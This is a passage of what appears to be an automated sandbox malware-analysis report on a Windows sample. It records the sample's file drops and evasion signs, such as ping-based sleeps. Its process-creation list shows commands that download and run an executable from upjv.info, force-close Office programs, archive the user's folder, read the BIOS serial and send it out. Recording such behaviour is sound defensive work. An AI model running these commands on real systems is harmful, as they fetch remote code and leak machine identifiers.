                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeFile created: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\readme.txtJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeFile created: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\License.txtJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeFile created: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\readme.txtJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeFile created: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\DefaultData\settings\settings_readme.txtJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeFile created: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\readme.txtJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeFile created: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\Other\Source\LauncherLicense.txtJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeFile created: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\Other\Source\Readme.txtJump to behavior
                  Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

                  Malware Analysis System Evasion

                  barindex
                  Uses ping.exe to sleep
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 420
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2Jump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2Jump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 420Jump to behavior
                  Source: C:\Program Files\Mozilla Firefox\firefox.exeCode function: 22_2_00000184C7D42377 rdtsc 22_2_00000184C7D42377
                  Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeWindow / User API: threadDelayed 9999Jump to behavior
                  Source: C:\Windows\SysWOW64\PING.EXEWindow / User API: threadDelayed 412
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeDropped PE file which has not been started: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7zCon.sfxJump to dropped file
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeDropped PE file which has not been started: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\7zFM.exeJump to dropped file
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeDropped PE file which has not been started: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\7z.exeJump to dropped file
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeDropped PE file which has not been started: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\7zCon.sfxJump to dropped file
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeDropped PE file which has not been started: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7-zip.dllJump to dropped file
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeDropped PE file which has not been started: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.sfxJump to dropped file
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeDropped PE file which has not been started: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\7-zip.dllJump to dropped file
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeDropped PE file which has not been started: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\7zG.exeJump to dropped file
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeDropped PE file which has not been started: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.dllJump to dropped file
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeDropped PE file which has not been started: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\7-zip32.dllJump to dropped file
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeDropped PE file which has not been started: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\7z.sfxJump to dropped file
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeDropped PE file which has not been started: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7zG.exeJump to dropped file
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeDropped PE file which has not been started: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\7z.dllJump to dropped file
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeDropped PE file which has not been started: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7zFM.exeJump to dropped file
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeDropped PE file which has not been started: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\7-ZipPortable.exeJump to dropped file
                  Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe TID: 1896Thread sleep time: -49995s >= -30000sJump to behavior
                  Source: C:\Windows\SysWOW64\PING.EXE TID: 3836Thread sleep count: 412 > 30
                  Source: C:\Windows\SysWOW64\PING.EXE TID: 3836Thread sleep time: -412000s >= -30000s
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeWMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT SerialNumber FROM Win32_BIOS
                  Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                  Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                  Source: C:\Windows\SysWOW64\PING.EXELast function: Thread delayed
                  Source: C:\Windows\SysWOW64\PING.EXELast function: Thread delayed
                  Source: C:\Windows\SysWOW64\PING.EXELast function: Thread delayed
                  Source: C:\Windows\SysWOW64\PING.EXELast function: Thread delayed
                  Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeThread sleep count: Count: 9999 delay: -5Jump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeCode function: 5_2_00403E37 FindFirstFileW,5_2_00403E37
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeCode function: 10_2_00C55869 __EH_prolog,FindFirstFileW,FindFirstFileW,FindFirstFileW,10_2_00C55869
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeCode function: 10_2_00C575DA FindFirstFileW,10_2_00C575DA
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeCode function: 5_2_0040451D __EH_prolog,GetLogicalDriveStringsW,GetLogicalDriveStringsW,GetLogicalDriveStringsW,5_2_0040451D
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeCode function: 5_2_004058A6 GetSystemInfo,5_2_004058A6
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeFile opened: C:\Users\user\TMP\cr-20241021-53901\'\Jump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeFile opened: C:\Users\user\TMP\cr-20241021-53901\'\Users\user\Jump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeFile opened: C:\Users\user\TMP\cr-20241021-53901\'\Users\user\TMP\cr-20241021-53901'\Jump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeFile opened: C:\Users\user\TMP\cr-20241021-53901\'\Users\Jump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeFile opened: C:\Users\user\TMP\cr-20241021-53901\Jump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeFile opened: C:\Users\user\TMP\cr-20241021-53901\'\Users\user\TMP\Jump to behavior
                  Source: firefox.exe, 00000014.00000002.3343503379.000001F527D5A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW[
                  Source: ariac.exe, 00000004.00000002.2143550967.000000000166D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll0
                  Source: firefox.exe, 00000016.00000002.3341905004.00000184C77A0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlle
                  Source: firefox.exe, 00000011.00000003.2250734124.000002434D0E4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000014.00000002.3338861198.000001F52755A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000014.00000002.3343503379.000001F527D5A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3336842750.00000184C6FAA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3341905004.00000184C77A0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
                  Source: firefox.exe, 00000016.00000002.3341905004.00000184C77A0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllf
                  Source: firefox.exe, 00000017.00000002.3337176956.0000025EFE13A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW A`
                  Source: firefox.exe, 00000014.00000002.3342843937.000001F52791E000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
                  Source: firefox.exe, 00000017.00000002.3342383857.0000025EFE600000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWHt
                  Source: ariac.exe, 0000000E.00000002.2238231270.0000000001831000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000014.00000002.3343503379.000001F527D40000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000014.00000002.3338861198.000001F52755A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3341905004.00000184C77A0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeProcess information queried: ProcessInformationJump to behavior
                  Source: C:\Program Files\Mozilla Firefox\firefox.exeCode function: 22_2_00000184C7D42377 rdtsc 22_2_00000184C7D42377
                  Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeCode function: 0_2_00407551 LoadLibraryA,GetProcAddress,GetVersionExA,0_2_00407551
                  Source: C:\Windows\SysWOW64\taskkill.exeProcess token adjusted: DebugJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeProcess token adjusted: DebugJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeProcess token adjusted: DebugJump to behavior
                  Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeCode function: 0_2_00405480 SetUnhandledExceptionFilter,0_2_00405480
                  Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeCode function: 0_2_00405330 SetUnhandledExceptionFilter,SetUnhandledExceptionFilter,SetUnhandledExceptionFilter,0_2_00405330
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\TMP\cr-20241021-53901\ariac.exe \Users\user\TMP\cr-20241021-53901\ariac.exe -l log.txt -o clean.exe http://upjv.info/clean/clean2.exeJump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\TMP\cr-20241021-53901\clean.exe clean.exe -yJump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\taskkill.exe taskkill /IM WINWORD.EXE /T /FJump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\taskkill.exe taskkill /IM EXCEL.EXE /T /FJump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\taskkill.exe taskkill /IM SOFFICE.BIN /T /FJump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2Jump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exe \Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exe a \Users\user\TMP\cr-20241021-53901.zip \Users\user\TMP\cr-20241021-53901Jump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic bios get serialnumberJump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\more.com more +1 serialnumber.txtJump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\TMP\cr-20241021-53901\ariac.exe \Users\user\TMP\cr-20241021-53901\ariac.exe -l log2.txt -o result.html "http://upjv.info/clean/entree.php?poste=user-PC^&serial=F2LEUD3EOH" Jump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" "http://upjv.info/clean/clean.php?serial=F2LEUD3EOH"Jump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2Jump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 420Jump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\taskkill.exe taskkill /IM WINWORD.EXE /T /FJump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\taskkill.exe taskkill /IM EXCEL.EXE /T /FJump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\taskkill.exe taskkill /IM SOFFICE.BIN /T /FJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\'\Users\user\TMP\cr-20241021-53901'\Desktop\IVHSHTCODI.docx VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\'\Users\user\TMP\cr-20241021-53901'\Desktop\IVHSHTCODI.pdf VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\'\Users\user\TMP\cr-20241021-53901'\Desktop\JDSOXXXWOA.docx VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\'\Users\user\TMP\cr-20241021-53901'\Desktop\JDSOXXXWOA.xlsx VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\'\Users\user\TMP\cr-20241021-53901'\Desktop\MQAWXUYAIK.pdf VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\'\Users\user\TMP\cr-20241021-53901'\Desktop\MQAWXUYAIK.xlsx VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\'\Users\user\TMP\cr-20241021-53901'\Desktop\PSAMNLJHZW.pdf VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\'\Users\user\TMP\cr-20241021-53901'\Desktop\TTCBKWZYOC.xlsx VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\'\Users\user\TMP\cr-20241021-53901'\Desktop\UQMPCTZARJ.docx VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\'\Users\user\TMP\cr-20241021-53901'\Documents\IVHSHTCODI.docx VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\'\Users\user\TMP\cr-20241021-53901'\Documents\IVHSHTCODI.pdf VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\'\Users\user\TMP\cr-20241021-53901'\Documents\JDSOXXXWOA.docx VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\'\Users\user\TMP\cr-20241021-53901'\Documents\JDSOXXXWOA.xlsx VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\'\Users\user\TMP\cr-20241021-53901'\Documents\MQAWXUYAIK.pdf VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\'\Users\user\TMP\cr-20241021-53901'\Documents\MQAWXUYAIK.xlsx VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\'\Users\user\TMP\cr-20241021-53901'\Documents\PSAMNLJHZW.pdf VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\'\Users\user\TMP\cr-20241021-53901'\Documents\TTCBKWZYOC.xlsx VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\'\Users\user\TMP\cr-20241021-53901'\Documents\UQMPCTZARJ.docx VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\'\Users\user\TMP\cr-20241021-53901'\Downloads\IVHSHTCODI.docx VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\'\Users\user\TMP\cr-20241021-53901'\Downloads\IVHSHTCODI.pdf VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\'\Users\user\TMP\cr-20241021-53901'\Downloads\JDSOXXXWOA.docx VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\'\Users\user\TMP\cr-20241021-53901'\Downloads\JDSOXXXWOA.xlsx VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\'\Users\user\TMP\cr-20241021-53901'\Downloads\MQAWXUYAIK.pdf VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\'\Users\user\TMP\cr-20241021-53901'\Downloads\MQAWXUYAIK.xlsx VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\'\Users\user\TMP\cr-20241021-53901'\Downloads\PSAMNLJHZW.pdf VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\'\Users\user\TMP\cr-20241021-53901'\Downloads\TTCBKWZYOC.xlsx VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\'\Users\user\TMP\cr-20241021-53901'\Downloads\UQMPCTZARJ.docx VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\ariac.exe VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean.exe VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\deleteWord.bat VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\deleteWord.err VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Version_2018_11_07.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\7-ZipPortable.exe VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\7-zip.chm VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\7-zip.dll VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\7-zip32.dll VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\7z.dll VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\7z.exe VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\7z.sfx VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\7zCon.sfx VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\7zFM.exe VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\7zG.exe VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\descript.ion VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\History.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\License.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\readme.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7-zip.chm VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7-zip.dll VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.dll VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exe VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.sfx VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7zCon.sfx VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7zFM.exe VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7zG.exe VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\descript.ion VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\History.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\af.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\an.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\ar.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\ast.txt VolumeInformationJump to behavior
